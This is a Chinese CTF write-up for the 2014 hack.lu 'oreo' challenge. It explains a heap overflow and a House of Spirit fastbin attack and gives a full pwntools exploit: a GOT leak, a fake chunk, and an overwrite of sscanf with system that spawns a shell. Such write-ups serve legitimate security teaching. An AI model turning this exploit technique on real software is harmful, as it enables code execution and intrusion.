house_of_spirit && 2014_hack.lu_oreo例题分析

2014_hack.lu_oreo

相关知识点:

Fastbin Attack – House of Spirit

相关链接:

2014_hack.lu_oreo下载

CTF Wiki Fastbin Attack

IDA创建结构体

题目分析:

先分析功能:

①添加枪支(add),这个地方会读取枪支的名字和描述,这是第一个难点,这个里面存在一个结构体(差点被坑死在这,为啥这个是一个结构体?大佬教我的是做多了就知道了)

通过代码可以看到在最初的时候分配了0x38个字节的堆块,又可以看到 ((_DWORD )dword_804A288 + 13) = v1,这个是一个32位的程序,所以一个指针占用4个字节,那么就可以得知之前那个堆块最后4个字节是用来存储一个新的指针(0x38 - 13 * 4 == 4),所以前面枪的名字和描述一共占用了52个字节,而名字是从dword_804A288 + 25开始的,所以枪支名字应该占用27个字节,枪支描述占用25个字节

int Add_rifle()
{
  char *v1; // [sp+18h] [bp-10h]@1
  int v2; // [sp+1Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  v1 = dword_804A288;
  dword_804A288 = (char *)malloc(0x38u);       
  if ( dword_804A288 )
  {
    *((_DWORD *)dword_804A288 + 13) = v1;       
    printf("Rifle name: ");
    fgets(dword_804A288 + 25, 56, stdin);      
    sub_80485EC(dword_804A288 + 25);
    printf("Rifle description: ");
    fgets(dword_804A288, 56, stdin);            
    sub_80485EC(dword_804A288);
    ++dword_804A2A4;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return *MK_FP(__GS__, 20) ^ v2;
}

那么识别出的结构体应该就是这样 ↓

00000000 Rifle           struc ; (sizeof=0x38, mappedto_1)
00000000 name            db 27 dup(?)            ; string(C)
0000001B descript        db 25 dup(?)            ; string(C)
00000034 pre             dd ?                    ; offset
00000038 Rifle           ends

②显示已经输入的枪支的名字和描述(show_rifle);

③订购所有枪支,即释放所有已经添加的枪支信息(order);

④留下信息(message);

利用思路及exp分析:

①先利用程序“添加枪支”中存在的堆溢出漏洞,控制尾部指针,直接指向某个got表,那么在使用第二个展示的功能的时候,就能输出相应的内容,从而算出libc的基地址,再往后就可以算出system()函数和’/bin/sh’的地址

payload1 = 'a'*27+p32(elf.got['puts'])
add('a'*25,payload1)
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
log.success('puts_addr: '+hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
log.success('system_addr: '+hex(system_addr))
log.success('binsh_addr: '+hex(binsh_addr))

②在一开始我们就看到每次添加枪支都会申请一个大小为0x38的堆块,32位的程序,所有每个枪支堆块的实际大小是0x40,在使用message功能的时候,留下的信息会被输入到0x0804A2A8处,在0x0804A2A4处会记录已经添加的枪支堆块的数量,这里使用house of spirit技术,将堆块直接指向0x0804A2A8进行构造fake chunk,那么fake chunk的size就位于0x0804A2A4,大小为0x40,所以,为了绕过检测,我们需要申请0x40支枪支,并且编辑message的内容,message的内容应该是next fake chunk(相当于fake chunk 的next chunk)

num = 1
while num < 0x3f:
    add('a'*25,'a'*27)
    num += 1

payload2 = 'a'*27+p32(0x0804a2a8)
add('a'*25,payload2)

payload3 = '\x00'*0x20+p32(0x40)+p32(0x50)
message(payload3)

③根据上一步已经准备好的fake chunk,这一次应该是order功能,调用free()将堆块全部释放,然后当我们再次使用add功能添加枪支堆块的时候,根据fastbin机制,新申请的堆块就是从0x0804A2A8处开始的,我们可以在这个地方填充上sscanf()函数的got表,然后通过message功能,用system()函数的地址进行替换,那么再次调用sscanf()函数的时候就相当于调用system()函数,然后输入’/bin/sh’即可获得shell

sscanf_got = elf.got['__isoc99_sscanf']
add(p32(sscanf_got),'a')

message(p32(system_addr))
p.sendline('/bin/sh\0')

调试效果图:

可以从图上看到fake chunk和next fake chunk,同时也可以看出sscanf()的got表内容已经被替换成system()函数的地址
这里写图片描述

exp:

from pwn import *

p = process('./oreo')
elf = ELF("./oreo")
libc = ELF('./libc.so.6')
# context.log_level = 'debug'

def add(descrip, name):
    p.sendline('1')
    p.sendline(name)
    p.sendline(descrip)

def show_rifle():
    p.sendline('2')
    p.recvuntil('===================================\n')

def order():
    p.sendline('3')

def message(notice):
    p.sendline('4')
    p.sendline(notice)

payload1 = 'a'*27+p32(elf.got['puts'])
add('a'*25,payload1)
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
log.success('puts_addr: '+hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
log.success('system_addr: '+hex(system_addr))
log.success('binsh_addr: '+hex(binsh_addr))

num = 1
while num < 0x3f:
    add('a'*25,'a'*27)
    num += 1

payload2 = 'a'*27+p32(0x0804a2a8)
add('a'*25,payload2)

payload3 = '\x00'*0x20+p32(0x40)+p32(0x50)
message(payload3)
order()
p.recvuntil('Okay order submitted!\n')

sscanf_got = elf.got['__isoc99_sscanf']
add(p32(sscanf_got),'a')

message(p32(system_addr))
p.sendline('/bin/sh\0')

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值